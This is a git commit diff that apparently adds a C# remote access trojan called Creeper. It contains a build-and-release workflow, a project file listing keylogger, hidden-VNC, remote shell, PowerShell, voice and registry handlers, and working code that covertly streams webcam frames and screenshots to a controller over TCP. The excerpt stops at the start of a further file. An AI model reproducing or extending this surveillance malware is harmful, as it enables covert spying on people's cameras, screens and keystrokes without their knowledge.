init
This commit is contained in:
parent
a26f8f38c0
commit
798926d69f
|
@ -0,0 +1,2 @@
|
|||
# Auto detect text files and perform LF normalization
|
||||
* text=auto
|
|
@ -0,0 +1,72 @@
|
|||
name: Build Creeper
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main ]
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
strategy:
|
||||
matrix:
|
||||
configuration: [Release]
|
||||
|
||||
runs-on: windows-2019
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@main
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Setup MSBuild
|
||||
uses: microsoft/setup-msbuild@v1.0.2
|
||||
|
||||
- name: Install NuGet Packages
|
||||
run: nuget restore Creeper-CS.sln
|
||||
|
||||
- name: Build solution
|
||||
run: msbuild -nologo -v:m -p:Configuration=${{ matrix.configuration }} Client\Client.csproj
|
||||
|
||||
- name: Build solution
|
||||
run: msbuild -nologo -v:m -p:Configuration=${{ matrix.configuration }} Creeper\Creeper.csproj
|
||||
|
||||
- name: Install 7Zip PowerShell Module
|
||||
shell: powershell
|
||||
run: Install-Module 7Zip4PowerShell -Force -Verbose
|
||||
|
||||
- name: Build Artifact
|
||||
shell: powershell
|
||||
run: Compress-7Zip "Binaries\Release" -ArchiveFileName "Creeper.zip" -Format Zip
|
||||
|
||||
- name: Delete-tag-and-release
|
||||
uses: dev-drprasad/delete-tag-and-release@v0.2.0
|
||||
with:
|
||||
delete_release: true
|
||||
tag_name: AutoBuild-Controler
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Create Release
|
||||
id: create_release
|
||||
uses: actions/create-release@latest
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
tag_name: AutoBuild-Controler
|
||||
release_name: AutoBuild-Controler
|
||||
body: ${{ steps.changelog.outputs.changelog }}
|
||||
draft: false
|
||||
prerelease: true
|
||||
|
||||
- name: Upload Release Asset
|
||||
id: upload-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./Creeper.zip
|
||||
asset_name: Creeper.zip
|
||||
asset_content_type: application/zip
|
|
@ -0,0 +1,400 @@
|
|||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio 6 auto-generated project file (contains which files were open etc.)
|
||||
*.vbp
|
||||
|
||||
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||
*.dsw
|
||||
*.dsp
|
||||
|
||||
# Visual Studio 6 technical files
|
||||
*.ncb
|
||||
*.aps
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
# tools/**
|
||||
# !tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
.localhistory/
|
||||
|
||||
# Visual Studio History (VSHistory) files
|
||||
.vshistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
*.code-workspace
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# JetBrains Rider
|
||||
*.sln.iml
|
||||
|
||||
Creeper/Resources/Client.exe
|
|
@ -0,0 +1,153 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{4DCE3248-0BAE-48E4-B165-A8A910BC7A96}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<RootNamespace>Client</RootNamespace>
|
||||
<AssemblyName>Client</AssemblyName>
|
||||
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\Creeper\Resources\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.ServiceProcess" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="HandlePacket\HandleCamera.cs" />
|
||||
<Compile Include="HandlePacket\HandleDesktop.cs" />
|
||||
<Compile Include="HandlePacket\HandleDevice.cs" />
|
||||
<Compile Include="HandlePacket\HandleFile.cs" />
|
||||
<Compile Include="HandlePacket\HandleHVNC.cs" />
|
||||
<Compile Include="HandlePacket\HandleKeylogger.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="HandlePacket\HandleNetwork.cs" />
|
||||
<Compile Include="HandlePacket\HandleOption.cs" />
|
||||
<Compile Include="HandlePacket\HandlePlugin.cs" />
|
||||
<Compile Include="HandlePacket\HandlePowershell.cs" />
|
||||
<Compile Include="HandlePacket\HandleProcess.cs" />
|
||||
<Compile Include="HandlePacket\HandleRegEdit.cs" />
|
||||
<Compile Include="HandlePacket\HandleShell.cs" />
|
||||
<Compile Include="HandlePacket\HandleThumbnail.cs" />
|
||||
<Compile Include="HandlePacket\HandleVoice.cs" />
|
||||
<Compile Include="HandlePacket\Packet.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\CameraControlProperty.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\FilterInfo.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\FilterInfoCollection.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IAMCameraControl.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IAMCrossbar.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IAMStreamConfig.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IAMVideoControl.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IBaseFilter.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\ICaptureGraphBuilder2.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\ICreateDevEnum.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IEnumFilters.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IEnumPins.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IFilterGraph.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IFilterGraph2.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IGraphBuilder.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IMediaControl.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IMediaEventEx.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IPin.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IPropertyBag.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\IReferenceClock.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\ISampleGrabber.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\ISampleGrabberCB.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\ISpecifyPropertyPages.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\Structures.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\Uuids.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Internals\Win32.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\PhysicalConnectorType.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\Uuids.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\VideoCapabilities.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\VideoCaptureDevice.cs" />
|
||||
<Compile Include="Helper\AForge\Video.DirectShow\VideoInput.cs" />
|
||||
<Compile Include="Helper\AForge\Video\IVideoSource.cs" />
|
||||
<Compile Include="Helper\AForge\Video\VideoEvents.cs" />
|
||||
<Compile Include="Helper\Helper.cs" />
|
||||
<Compile Include="Helper\MsgPack\BytesTools.cs" />
|
||||
<Compile Include="Helper\MsgPack\MsgPack.cs" />
|
||||
<Compile Include="Helper\MsgPack\MsgPackType.cs" />
|
||||
<Compile Include="Helper\MsgPack\ReadTools.cs" />
|
||||
<Compile Include="Helper\MsgPack\WriteTools.cs" />
|
||||
<Compile Include="Helper\MsgPack\Zip.cs" />
|
||||
<Compile Include="Helper\Native.cs" />
|
||||
<Compile Include="Helper\RegManager\ByteConverter.cs" />
|
||||
<Compile Include="Helper\RegManager\RegistryEditor.cs" />
|
||||
<Compile Include="Helper\RegManager\RegistryExtensions.cs" />
|
||||
<Compile Include="Helper\RegManager\RegistryKeyExtensions.cs" />
|
||||
<Compile Include="Helper\RegManager\RegistryKeyHelper.cs" />
|
||||
<Compile Include="Helper\RegManager\RegistrySeeker.cs" />
|
||||
<Compile Include="Helper\StreamLibrary\Enums.cs" />
|
||||
<Compile Include="Helper\StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="Helper\StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="Helper\StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="Helper\StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="Helper\StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="Helper\StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
|
||||
<Compile Include="Helper\StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
<Compile Include="Helper\WaveLib\Win32.cs" />
|
||||
<Compile Include="Helper\WaveLib\WinSound.cs" />
|
||||
<Compile Include="Helper\WaveLib\WinSoundRecord.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="TCPSocket.cs" />
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<Compile Include="Properties\Resources.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
<DesignTime>True</DesignTime>
|
||||
</Compile>
|
||||
<None Include="app.config" />
|
||||
<None Include="Properties\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||
</None>
|
||||
<Compile Include="Properties\Settings.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
|
@ -0,0 +1,87 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using AForge.Video;
|
||||
using AForge.Video.DirectShow;
|
||||
using Client.StreamLibrary;
|
||||
using Client.StreamLibrary.UnsafeCodecs;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal static class HandleCamera
|
||||
{
|
||||
public static bool IsOk;
|
||||
public static VideoCaptureDevice FinalVideo;
|
||||
public static IUnsafeCodec unsafeCodec = new UnsafeOptimizedCodec(50);
|
||||
public static int Quality = 50;
|
||||
|
||||
|
||||
public static void CaptureRun(object sender, NewFrameEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Program.TCP_Socket.IsConnected&& IsOk)
|
||||
{
|
||||
var image = (Bitmap)e.Frame.Clone();
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
BitmapData bmpData = image.LockBits(new Rectangle(0, 0, image.Width, image.Height), ImageLockMode.ReadWrite, image.PixelFormat);
|
||||
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height),
|
||||
new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
|
||||
|
||||
if (stream.Length > 0)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(stream.ToArray());
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
image?.Dispose();
|
||||
}
|
||||
else
|
||||
{
|
||||
CaptureDispose();
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
CaptureDispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static void GetWebcams()
|
||||
{
|
||||
try
|
||||
{
|
||||
var deviceInfo = new StringBuilder();
|
||||
var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
foreach (FilterInfo videoCaptureDevice in videoCaptureDevices)
|
||||
deviceInfo.Append(videoCaptureDevice.Name + "-=>");
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "getWebcams";
|
||||
msgpack.ForcePathObject("List").AsString = deviceInfo.Length > 0 ? deviceInfo.ToString() : "None-=>";
|
||||
new Thread(() => { Program.TCP_Socket.Send(msgpack.Encode2Bytes()); }).Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void CaptureDispose()
|
||||
{
|
||||
try
|
||||
{
|
||||
IsOk = false;
|
||||
FinalVideo.Stop();
|
||||
FinalVideo.NewFrame -= CaptureRun;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,104 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Client.StreamLibrary;
|
||||
using Client.StreamLibrary.UnsafeCodecs;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal static class HandleDesktop
|
||||
{
|
||||
public static bool IsOk { get; set; }
|
||||
|
||||
public static void CaptureAndSend(int quality, int Scrn)
|
||||
{
|
||||
try
|
||||
{
|
||||
Native.SetProcessDPIAware();
|
||||
}
|
||||
catch { }
|
||||
Bitmap bmp = null;
|
||||
BitmapData bmpData = null;
|
||||
Rectangle rect;
|
||||
Size size;
|
||||
IUnsafeCodec unsafeCodec = new UnsafeOptimizedCodec(quality);
|
||||
MemoryStream stream;
|
||||
Thread.Sleep(10);
|
||||
while (IsOk && Program.TCP_Socket.IsConnected)
|
||||
try
|
||||
{
|
||||
bmp = GetScreen(Scrn);
|
||||
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
size = new Size(bmp.Width, bmp.Height);
|
||||
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite,
|
||||
bmp.PixelFormat);
|
||||
|
||||
using (stream = new MemoryStream())
|
||||
{
|
||||
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height),
|
||||
new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
|
||||
|
||||
if (stream.Length > 0)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("HWID").AsString = Program.HWID;
|
||||
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
||||
msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(Screen.AllScreens.Length);
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
|
||||
bmp.UnlockBits(bmpData);
|
||||
bmp.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
break;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
IsOk = false;
|
||||
bmp?.UnlockBits(bmpData);
|
||||
bmp?.Dispose();
|
||||
GC.Collect();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private static Bitmap GetScreen(int Scrn)
|
||||
{
|
||||
var rect = Screen.AllScreens[Scrn].Bounds;
|
||||
try
|
||||
{
|
||||
var bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||
using (var graphics = Graphics.FromImage(bmpScreenshot))
|
||||
{
|
||||
graphics.CopyFromScreen(rect.Left, rect.Top, 0, 0,
|
||||
new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
Native.CURSORINFO pci;
|
||||
pci.cbSize = Marshal.SizeOf(typeof(Native.CURSORINFO));
|
||||
if (Native.GetCursorInfo(out pci))
|
||||
if (pci.flags == 0x00000001)
|
||||
{
|
||||
Native.DrawIcon(graphics.GetHdc(), pci.ptScreenPos.x, pci.ptScreenPos.y, pci.hCursor);
|
||||
graphics.ReleaseHdc();
|
||||
}
|
||||
|
||||
return bmpScreenshot;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return new Bitmap(rect.Width, rect.Height);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,810 @@
|
|||
using System;
|
